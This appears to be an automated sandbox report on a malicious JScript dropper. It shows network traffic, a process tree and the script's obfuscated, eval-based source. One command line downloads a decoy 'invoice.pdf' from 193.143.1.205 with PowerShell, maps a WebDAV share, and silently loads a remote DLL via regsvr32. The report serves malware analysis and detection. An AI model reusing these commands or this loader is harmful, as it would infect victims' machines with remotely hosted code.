Jan 13, 2025 10:28:16.653614044 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 13, 2025 10:28:16.653631926 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 13, 2025 10:28:16.653641939 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 13, 2025 10:28:16.653652906 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 13, 2025 10:28:16.653664112 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 13, 2025 10:28:16.653675079 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 13, 2025 10:28:16.653686047 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 13, 2025 10:28:16.658582926 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49717	193.143.1.205	8888	7732	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 10:28:18.497895002 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 10:28:19.318353891 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 09:28:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	04:28:12
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js"
Imagebase:	0x7ff6be920000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:28:13
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Imagebase:	0x7ff7785a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:28:13
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:28:13
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:28:17
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:28:17
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7785a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:28:17
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64b3f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:28:18
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	04:28:18
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:28:18
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1752,i,8867893340244330003,12266913905662921098,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ntmmhom() {	ntmmhom() ➔ undefined
1	this[ndohzs + evysdzbwb + xsoan + eipzqci] ( "ltobo=[1031,3079,5127,4103,2055,3072];var rzlmyhviu=this[jvwcwhl+xsoan+atuvaluad+oxobmr+ndohzs+eozff+cfuvli+fczbyko](this[yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko][jhrgkjep+atuvaluad+ndohzs+xsoan+fczbyko+ndohzs+edpprbwm+eexml+tldsngp+ndohzs+ousrices+fczbyko](yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko+irufo+fjrdmkg+sbxjv+ndohzs+eipzqci+eipzqci)[fnlcdlme+ndohzs+ywpygebr+fnlcdlme+ndohzs+xsoan+vyxxh](xpwbcif+fgvivxh+qilfodr+xiiyu+xymbvl+jhrgkjep+uludicvv+fnlcdlme+fnlcdlme+qilfodr+zkxvmcarp+wweruvgu+xymbvl+uludicvv+fjrdmkg+qilfodr+fnlcdlme+xkaadxtg+jhrgkjep+yjhyciujm+cfuvli+fczbyko+atuvaluad+yjhyciujm+eipzqci+hfyieyup+rrbxxejl+xsoan+cfuvli+ndohzs+eipzqci+xkaadxtg+eozff+cfuvli+fczbyko+ndohzs+atuvaluad+cfuvli+xsoan+fczbyko+cuuzk+yjhyciujm+cfuvli+xsoan+eipzqci+xkaadxtg+eviipyanq+yjhyciujm+ousrices+xsoan+eipzqci+ndohzs),16);for(iprofj=0;iprofj<ltobo[eipzqci+ndohzs+cfuvli+ywpygebr+fczbyko+sbxjv];++iprofj){if(rzlmyhviu==ltobo[iprofj]){rzlmyhviu=true;break;}}if(rzlmyhviu!==true)this[yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko][hkpgqv+gmbxwkn+cuuzk+fczbyko]();this[yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko][jhrgkjep+atuvaluad+ndohzs+xsoan+fczbyko+ndohzs+edpprbwm+eexml+tldsngp+ndohzs+ousrices+fczbyko](yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko+irufo+fjrdmkg+sbxjv+ndohzs+eipzqci+eipzqci)[atuvaluad+gmbxwkn+cfuvli](ousrices+flojmripi+vyxxh+hfyieyup+rsufmvuaj+ousrices+hfyieyup+jvwcwhl+yjhyciujm+onsyl+ndohzs+atuvaluad+oxobmr+sbxjv+ndohzs+eipzqci+eipzqci+irufo+ndohzs+fxfyiyhz+ndohzs+hfyieyup+vccmf+jhrgkjep+yjhyciujm+flojmripi+flojmripi+xsoan+cfuvli+vyxxh+hfyieyup+uhwfkeydt+eozff+cfuvli+evysdzbwb+yjhyciujm+vcfmwr+ndohzs+vccmf+yqlfhulut+ndohzs+eexml+fnlcdlme+ndohzs+qrihxad+gmbxwkn+ndohzs+oxobmr+fczbyko+hfyieyup+vccmf+edpprbwm+gmbxwkn+fczbyko+opuczoah+cuuzk+eipzqci+ndohzs+hfyieyup+hqaqij+fczbyko+ndohzs+flojmripi+jvwcwhl+hqaqij+xkaadxtg+cuuzk+cfuvli+evysdzbwb+yjhyciujm+cuuzk+ousrices+ndohzs+irufo+jvwcwhl+vyxxh+miryskw+hfyieyup+sbxjv+fczbyko+fczbyko+jvwcwhl+yaccaxhw+rsufmvuaj+rsufmvuaj+fhkadp+pptlhk+wilwaofd+irufo+fhkadp+myjgncqt+wilwaofd+irufo+fhkadp+irufo+bndthpljc+qifeyeecs+tobonl+rsufmvuaj+cuuzk+cfuvli+evysdzbwb+yjhyciujm+cuuzk+ousrices+ndohzs+irufo+jvwcwhl+sbxjv+jvwcwhl+uhwfkeydt+llmwzfwj+llmwzfwj+oxobmr+fczbyko+xsoan+atuvaluad+fczbyko+hfyieyup+hqaqij+fczbyko+ndohzs+flojmripi+jvwcwhl+hqaqij+xkaadxtg+cuuzk+cfuvli+evysdzbwb+yjhyciujm+cuuzk+ousrices+ndohzs+irufo+jvwcwhl+vyxxh+miryskw+llmwzfwj+llmwzfwj+ousrices+flojmripi+vyxxh+hfyieyup+rsufmvuaj+ousrices+hfyieyup+cfuvli+ndohzs+fczbyko+hfyieyup+gmbxwkn+oxobmr+ndohzs+hfyieyup+xkaadxtg+xkaadxtg+fhkadp+pptlhk+wilwaofd+irufo+fhkadp+myjgncqt+wilwaofd+irufo+fhkadp+irufo+bndthpljc+qifeyeecs+tobonl+cixicsau+epjlupmt+epjlupmt+epjlupmt+epjlupmt+xkaadxtg+vyxxh+xsoan+evysdzbwb+onsyl+onsyl+onsyl+atuvaluad+yjhyciujm+yjhyciujm+fczbyko+xkaadxtg+llmwzfwj+llmwzfwj+ousrices+flojmripi+vyxxh+hfyieyup+rsufmvuaj+ousrices+hfyieyup+atuvaluad+ndohzs+ywpygebr+oxobmr+evysdzbwb+atuvaluad+wilwaofd+bndthpljc+hfyieyup+rsufmvuaj+oxobmr+hfyieyup+xkaadxtg+xkaadxtg+fhkadp+pptlhk+wilwaofd+irufo+fhkadp+myjgncqt+wilwaofd+irufo+fhkadp+irufo+bndthpljc+qifeyeecs+tobonl+cixicsau+epjlupmt+epjlupmt+epjlupmt+epjlupmt+xkaadxtg+vyxxh+xsoan+evysdzbwb+onsyl+onsyl+onsyl+atuvaluad+yjhyciujm+yjhyciujm+fczbyko+xkaadxtg+fhkadp+fhkadp+bndthpljc+epjlupmt+fhkadp+fhkadp+wilwaofd+wilwaofd+qifeyeecs+npletlz+bndthpljc+qifeyeecs+qifeyeecs+tobonl+npletlz+irufo+vyxxh+eipzqci+eipzqci,0,false);" );	eval("ltobo=[1031,3079,5127,4103,2055,3072];var rzlmyhviu=this[jvwcwhl+xsoan+atuvaluad+oxobmr+ndohzs+eozff+cfuvli+fczbyko](this[yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko][jhrgkjep+atuvaluad+ndohzs+xsoan+fczbyko+ndohzs+edpprbwm+eexml+tldsngp+ndohzs+ousrices+fczbyko](yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko+irufo+fjrdmkg+sbxjv+ndohzs+eipzqci+eipzqci)[fnlcdlme+ndohzs+ywpygebr+fnlcdlme+ndohzs+xsoan+vyxxh](xpwbcif+fgvivxh+qilfodr+xiiyu+xymbvl+jhrgkjep+uludicvv+fnlcdlme+fnlcdlme+qilfodr+zkxvmcarp+wweruvgu+xymbvl+uludicvv+fjrdmkg+qilfodr+fnlcdlme+xkaadxtg+jhrgkjep+yjhyciujm+cfuvli+fczbyko+atuvaluad+yjhyciujm+eipzqci+hfyieyup+rrbxxejl+xsoan+cfuvli+ndohzs+eipzqci+xkaadxtg+eozff+cfuvli+fczbyko+ndohzs+atuvaluad+cfuvli+xsoan+fczbyko+cuuzk+yjhyciujm+cfuvli+xsoan+eipzqci+xkaadxtg+eviipyanq+yjhyciujm+ousrices+xsoan+eipzqci+ndohzs),16);for(iprofj=0;iprofj<ltobo[eipzqci+ndohzs+cfuvli+ywpygebr+fczbyko+sbxjv];++iprofj){if(rzlmyhviu==ltobo[iprofj]){rzlmyhviu=true;break;}}if(rzlmyhviu!==true)this[yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko][hkpgqv+gmbxwkn+cuuzk+fczbyko]();this[yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko][jhrgkjep+atuvaluad+ndohzs+xsoan+fczbyko+ndohzs+edpprbwm+eexml+tldsngp+ndohzs+ousrices+fczbyko](yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko+irufo+fjrdmkg+sbxjv+ndohzs+eipzqci+eipzqci)[atuvaluad+gmbxwkn+cfuvli](ousrices+flojmripi+vyxxh+hfyieyup+rsufmvuaj+ousrices+hfyieyup+jvwcwhl+yjhyciujm+onsyl+ndohzs+atuvaluad+oxobmr+sbxjv+ndohzs+eipzqci+eipzqci+irufo+ndohzs+fxfyiyhz+ndohzs+hfyieyup+vccmf+jhrgkjep+yjhyciujm+flojmripi+flojmripi+xsoan+cfuvli+vyxxh+hfyieyup+uhwfkeydt+eozff+cfuvli+evysdzbwb+yjhyciujm+vcfmwr+ndohzs+vccmf+yqlfhulut+ndohzs+eexml+fnlcdlme+ndohzs+qrihxad+gmbxwkn+ndohzs+oxobmr+fczbyko+hfyieyup+vccmf+edpprbwm+gmbxwkn+fczbyko+opuczoah+cuuzk+eipzqci+ndohzs+hfyieyup+hqaqij+fczbyko+ndohzs+flojmripi+jvwcwhl+hqaqij+xkaadxtg+cuuzk+cfuvli+evysdzbwb+yjhyciujm+cuuzk+ousrices+ndohzs+irufo+jvwcwhl+vyxxh+miryskw+hfyieyup+sbxjv+fczbyko+fczbyko+jvwcwhl+yaccaxhw+rsufmvuaj+rsufmvuaj+fhkadp+pptlhk+wilwaofd+irufo+fhkadp+myjgncqt+wilwaofd+irufo+fhkadp+irufo+bndthpljc+qifeyeecs+tobonl+rsufmvuaj+cuuzk+cfuvli+evysdzbwb+yjhyciujm+cuuzk+ousrices+ndohzs+irufo+jvwcwhl+sbxjv+jvwcwhl+uhwfkeydt+llmwzfwj+llmwzfwj+oxobmr+fczbyko+xsoan+atuvaluad+fczbyko+hfyieyup+hqaqij+fczbyko+ndohzs+flojmripi+jvwcwhl+hqaqij+xkaadxtg+cuuzk+cfuvli+evysdzbwb+yjhyciujm+cuuzk+ousrices+ndohzs+irufo+jvwcwhl+vyxxh+miryskw+llmwzfwj+llmwzfwj+ousrices+flojmripi+vyxxh+hfyieyup+rsufmvuaj+ousrices+hfyieyup+cfuvli+ndohzs+fczbyko+hfyieyup+gmbxwkn+oxobmr+ndohzs+hfyieyup+xkaadxtg+xkaadxtg+fhkadp+pptlhk+wilwaofd+irufo+fhkadp+myjgncqt+wilwaofd+irufo+fhkadp+irufo+bndthpljc+qifeyeecs+tobonl+cixicsau+epjlupmt+epjlupmt+epjlupmt+epjlupmt+xkaadxtg+vyxxh+xsoan+evysdzbwb+onsyl+onsyl+onsyl+atuvaluad+yjhyciujm+yjhyciujm+fczbyko+xkaadxtg+llmwzfwj+llmwzfwj+ousrices+flojmripi+vyxxh+hfyieyup+rsufmvuaj+ousrices+hfyieyup+atuvaluad+ndohzs+ywpygebr+oxobmr+evysdzbwb+atuvaluad+wilwaofd+bndthpljc+hfyieyup+rsufmvuaj+oxobmr+hfyieyup+xkaadxtg+xkaadxtg+fhkadp+pptlhk+wilwaofd+irufo+fhkadp+myjgncqt+wilwaofd+irufo+fhkadp+irufo+bndthpljc+qifeyeecs+tobonl+cixicsau+epjlupmt+epjlupmt+epjlupmt+epjlupmt+xkaadxtg+vyxxh+xsoan+evysdzbwb+onsyl+onsyl+onsyl+atuvaluad+yjhyciujm+yjhyciujm+fczbyko+xkaadxtg+fhkadp+fhkadp+bndthpljc+epjlupmt+fhkadp+fhkadp+wilwaofd+wilwaofd+qifeyeecs+npletlz+bndthpljc+qifeyeecs+qifeyeecs+tobonl+npletlz+irufo+vyxxh+eipzqci+eipzqci,0,false);") ➔ 0
2	}
3	xiiyu = "w";
4	xiiyu = "e";
5	xiiyu = "l";
6	xiiyu = "k";
7	xiiyu = "l";
8	xiiyu = "H";
9	xiiyu = "T";
10	xiiyu = "g";
11	xiiyu = "Y";
12	uhwfkeydt = "e";
13	uhwfkeydt = "u";
14	uhwfkeydt = "W";
15	uhwfkeydt = "b";
16	uhwfkeydt = "w";
17	uhwfkeydt = "\"";
18	flojmripi = "S";
19	flojmripi = "n";
20	flojmripi = "y";
21	flojmripi = "W";
22	flojmripi = "B";
23	flojmripi = "m";
24	qilfodr = "a";
25	qilfodr = "M";
26	qilfodr = "E";
27	qilfodr = "D";
28	qilfodr = "T";
29	qilfodr = "i";
30	qilfodr = "E";
31	fgvivxh = "C";
32	fgvivxh = "y";
33	fgvivxh = "N";
34	fgvivxh = "D";
35	fgvivxh = "N";
36	fgvivxh = "j";
37	fgvivxh = "J";
38	fgvivxh = "K";
39	atuvaluad = "v";
40	atuvaluad = "Q";
41	atuvaluad = "Q";
42	atuvaluad = "C";
43	atuvaluad = "M";
44	atuvaluad = "y";
45	atuvaluad = "A";
46	atuvaluad = "U";
47	atuvaluad = "s";
48	atuvaluad = "r";
49	pptlhk = "X";
50	pptlhk = "F";
51	pptlhk = "w";
52	pptlhk = "f";
53	pptlhk = "z";
54	pptlhk = "9";
55	qifeyeecs = "f";
56	qifeyeecs = "B";
57	qifeyeecs = "X";
58	qifeyeecs = "I";
59	qifeyeecs = "q";
60	qifeyeecs = "Q";
61	qifeyeecs = "0";
62	xkaadxtg = "l";
63	xkaadxtg = "t";
64	xkaadxtg = "e";
65	xkaadxtg = "P";
66	xkaadxtg = "N";
67	xkaadxtg = "I";
68	xkaadxtg = "r";
69	xkaadxtg = "\\";
70	myjgncqt = "A";
71	myjgncqt = "Y";
72	myjgncqt = "A";
73	myjgncqt = "I";
74	myjgncqt = "I";
75	myjgncqt = "4";
76	eipzqci = "M";
77	eipzqci = "P";
78	eipzqci = "W";
79	eipzqci = "h";
80	eipzqci = "j";
81	eipzqci = "O";
82	eipzqci = "l";
83	eipzqci = "M";
84	eipzqci = "R";
85	eipzqci = "l";
86	wweruvgu = "k";
87	wweruvgu = "X";
88	wweruvgu = "I";
89	wweruvgu = "X";
90	wweruvgu = "w";
91	wweruvgu = "F";
92	wweruvgu = "c";
93	wweruvgu = "T";
94	fnlcdlme = "Y";
95	fnlcdlme = "R";
96	fnlcdlme = "D";
97	fnlcdlme = "O";
98	fnlcdlme = "L";
99	fnlcdlme = "R";
100	fxfyiyhz = "s";
101	fxfyiyhz = "f";
102	fxfyiyhz = "Q";
103	fxfyiyhz = "Y";
104	fxfyiyhz = "E";
105	fxfyiyhz = "R";
106	fxfyiyhz = "I";
107	fxfyiyhz = "F";
108	fxfyiyhz = "x";
109	miryskw = "E";
110	miryskw = "J";
111	miryskw = "Y";
112	miryskw = "I";
113	miryskw = "x";
114	miryskw = "W";
115	miryskw = "f";
116	hkpgqv = "N";
117	hkpgqv = "p";
118	hkpgqv = "t";
119	hkpgqv = "R";
120	hkpgqv = "m";
121	hkpgqv = "U";
122	hkpgqv = "t";
123	hkpgqv = "H";
124	hkpgqv = "Q";
125	vccmf = "d";
126	vccmf = "c";
127	vccmf = "j";
128	vccmf = "m";
129	vccmf = "e";
130	vccmf = "n";
131	vccmf = "K";
132	vccmf = "N";
133	vccmf = "-";
134	wilwaofd = "k";
135	wilwaofd = "A";
136	wilwaofd = "T";
137	wilwaofd = "r";
138	wilwaofd = "X";
139	wilwaofd = "y";
140	wilwaofd = "V";
141	wilwaofd = "m";
142	wilwaofd = "3";
143	epjlupmt = "B";
144	epjlupmt = "H";
145	epjlupmt = "t";
146	epjlupmt = "W";
147	epjlupmt = "l";
148	epjlupmt = "E";
149	epjlupmt = "Z";
150	epjlupmt = "b";
151	epjlupmt = "8";
152	vcfmwr = "N";
153	vcfmwr = "O";
154	vcfmwr = "T";
155	vcfmwr = "r";
156	vcfmwr = "G";
157	vcfmwr = "g";
158	vcfmwr = "t";
159	vcfmwr = "k";
160	jvwcwhl = "V";
161	jvwcwhl = "P";
162	jvwcwhl = "P";
163	jvwcwhl = "c";
164	jvwcwhl = "s";
165	jvwcwhl = "p";
166	xymbvl = "Z";
167	xymbvl = "o";
168	xymbvl = "h";
169	xymbvl = "t";
170	xymbvl = "x";
171	xymbvl = "_";
172	onsyl = "q";
173	onsyl = "M";
174	onsyl = "A";
175	onsyl = "k";
176	onsyl = "U";
177	onsyl = "R";
178	onsyl = "f";
179	onsyl = "K";
180	onsyl = "w";
181	xpwbcif = "i";
182	xpwbcif = "L";
183	xpwbcif = "M";
184	xpwbcif = "w";
185	xpwbcif = "D";
186	xpwbcif = "v";
187	xpwbcif = "B";
188	xpwbcif = "E";
189	xpwbcif = "T";
190	xpwbcif = "H";
191	hqaqij = "E";
192	hqaqij = "d";
193	hqaqij = "g";
194	hqaqij = "E";
195	hqaqij = "g";
196	hqaqij = "g";
197	hqaqij = "V";
198	hqaqij = "j";
199	hqaqij = "%";
200	rsufmvuaj = "A";
201	rsufmvuaj = "h";
202	rsufmvuaj = "N";
203	rsufmvuaj = "D";
204	rsufmvuaj = "S";
205	rsufmvuaj = "/";
206	oxobmr = "k";
207	oxobmr = "v";
208	oxobmr = "i";
209	oxobmr = "T";
210	oxobmr = "L";
211	oxobmr = "x";
212	oxobmr = "s";
213	yaccaxhw = "Q";
214	yaccaxhw = "Q";
215	yaccaxhw = "u";
216	yaccaxhw = "w";
217	yaccaxhw = "e";
218	yaccaxhw = "w";
219	yaccaxhw = "u";
220	yaccaxhw = "S";
221	yaccaxhw = "x";
222	yaccaxhw = ":";
223	gmbxwkn = "i";
224	gmbxwkn = "l";
225	gmbxwkn = "i";
226	gmbxwkn = "d";
227	gmbxwkn = "t";
228	gmbxwkn = "a";
229	gmbxwkn = "G";
230	gmbxwkn = "I";
231	gmbxwkn = "u";
232	ousrices = "V";
233	ousrices = "z";
234	ousrices = "l";
235	ousrices = "k";
236	ousrices = "g";
237	ousrices = "f";
238	ousrices = "c";
239	fczbyko = "P";
240	fczbyko = "m";
241	fczbyko = "x";
242	fczbyko = "T";
243	fczbyko = "G";
244	fczbyko = "n";
245	fczbyko = "q";
246	fczbyko = "t";
247	npletlz = "t";
248	npletlz = "P";
249	npletlz = "p";
250	npletlz = "t";
251	npletlz = "Y";
252	npletlz = "7";
253	fjrdmkg = "G";
254	fjrdmkg = "i";
255	fjrdmkg = "V";
256	fjrdmkg = "z";
257	fjrdmkg = "k";
258	fjrdmkg = "S";
259	edpprbwm = "y";
260	edpprbwm = "S";
261	edpprbwm = "r";
262	edpprbwm = "c";
263	edpprbwm = "Z";
264	edpprbwm = "v";
